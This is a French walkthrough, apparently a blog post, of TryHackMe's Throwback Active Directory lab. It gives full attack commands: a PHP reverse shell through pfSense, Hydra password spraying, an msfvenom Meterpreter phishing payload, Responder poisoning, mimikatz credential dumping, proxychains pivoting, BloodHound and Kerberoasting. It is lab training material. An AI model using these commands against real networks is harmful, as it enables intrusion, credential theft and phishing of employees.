
Throwback est un lab Active Directory proposé par TryHackMe. L’objectif est de compromettre des serveurs exposés sur Internet avant de pivoter dans le réseau interne de l’entreprise et attaquer l’infrastructure AD.
Trois serveurs sont exposés sur Internet: un serveur web de production, un serveur de messagerie et un pare-feu:

Reconnaissance
Serveur de production
2 ports ouverts: SSH et HTTP

Site Web:

On trouveu une liste d’employés:

Employés:
Summers Winters
Jeff Davies
Hugh Gongo
Rikka Foxx
Et un format d’email:

Email: hello@TBHSecurity.com
Serveur de messagerie
Les ports SSH, HTTP et IMAP sont ouverts:

Serveur Web:

Il s’agit d’un serveur Squirrel:

Parefeu
Les ports SSH, HTTP, HTTPS et DNS sont ouverts:

Serveur Web - Interface de pfSense:

Exploitation
pfSense
On commence par attaquer pfsense. On utilise les credentials par défaut admin::pfsense et on peut se loguer !!!! WTF !!!

pfSense permet d’exécuter des commandes php.
Diagnostics > Command Prompt
Ref: https://docs.netgate.com/pfsense/en/latest/diagnostics/command-prompt.html
On utilise le reverse shell de pentest monkey https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
Enlever les balises php au début et à la fin du shell car pfsense éxécute uniquement les commandes php

Lancer un listener et boom on a un shell



On trouve le mot de passe de Humprew dans le fichier login.log

Webmail Squirrel
On se connecte avec le compte guest et on trouve une liste d’adresse mail

Password spraying
Structure d’une requête d’authentification:

Création des listes:

Utilisation d’Hydra:
hydra -L users.txt -P passwords.txt 10.200.53.232 http-post-form "/src/redirect.php:login_username=^USER^&secretkey=^PASS^:Unknown user or password incorrect"

Obtention de plusiseurs mot de passe :)
Phishing
On va utiliser le compte d’un utilisateur compromis pour lancer une campagne de phishing
On commence par préparer un payload avec Msfvenom, ici un executable windows.

On crée notre listener Meterpreter
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 53
set LHOST tun0
exploit -j
On envoie le payload a tous les membres présents dans la liste d’adresse en priorité élevée

Et hop un shell :)

On vient de compromettre un serveur nommé THROWBACK-WS01

On migre sur un process utilisé par NT AUTHORITY\SYSTEM



LLMNR Poisoning - Responder
responder -I tun0 -dw -v

Récupérer OneRuleToRuleThemAll: https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule
On cracke le hash:
hashcat -m 5600 hash /path/to/rockyou.txt -r OneRuleToRuleThemAll.rule --debug-mode=1 --debug-file=matched.rule
Résultat: Throwback317
On peut se connecter à Throwback-PROD en SSH avec ce mot de passe.

Throwback-PROD
On utilise winpeas

Et on trouve les credentials de BlaireJ

DefaultUserName : BlaireJ DefaultPassword : 7eQgx6YzxgG3vC45t5k9
On peut se loguer à SSH en utilisant ces creds
On crée un reverse shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=tun0 lport=443 -f exe -o shell.exe

On upload le shell et on l’execute

Pour pouvoir executer mimikatz on doit migrer sur un autre process utiliser par NT AUTHORITY\SYSTEM


On peut utiliser mimikatz :
load kiwi
creds_all

On récupère l’IP de THROWBACK-TIME.throwback.local

Et l’IP du DC

echo "10.200.154.176 timekeep.throwback.local" >> /etc/hosts
Pivot
use post/multi/manage/autoroute

use auxiliary/server/socks_proxy

Modifier le fichier proxychains.conf
sudo nano /etc/proxychains.conf

On peut désormais utiliser proxychains pour accéder au réseau interne:

BloodHound
Download SharpHound.ps1 https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1
L’uploader sur le serveur et exécuter: Invoke-Bloodhound -CollectionMethod All -Domain THROWBACK.local -ZipFileName loot.zip

Récuprérer l’archive:

Installer BloodHound version 3.0.3
https://github.com/BloodHoundAD/BloodHound/releases/download/3.0.3/BloodHound-linux-x64.zip
Uploader les datas

Pour trouver les comptes kerberoastable: MATCH (n:User)WHERE n.hasspn=true RETURN n
Ref: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

Kerberoast
On va utiliser GetUserSPNs d’Impacket pour récupérer les hashs kerberoastables
proxychains GetUserSPNs.py -dc-ip 10.200.53.117 THROWBACK.LOCAL/BlaireJ:7eQgx6YzxgG3vC45t5k9 -request

La version installée par défaut dans Kali bug
Utiliser impacket 0.9.19
Download the precompiled package from https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19
cd Impacket-0.9.19
pip install .
Et on recommence

On crack le hash
hashcat -m 13100 -a 0 hash /usr/share/wordlists/rockyou.txt

Résultat: mysql337570
À continuer…
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.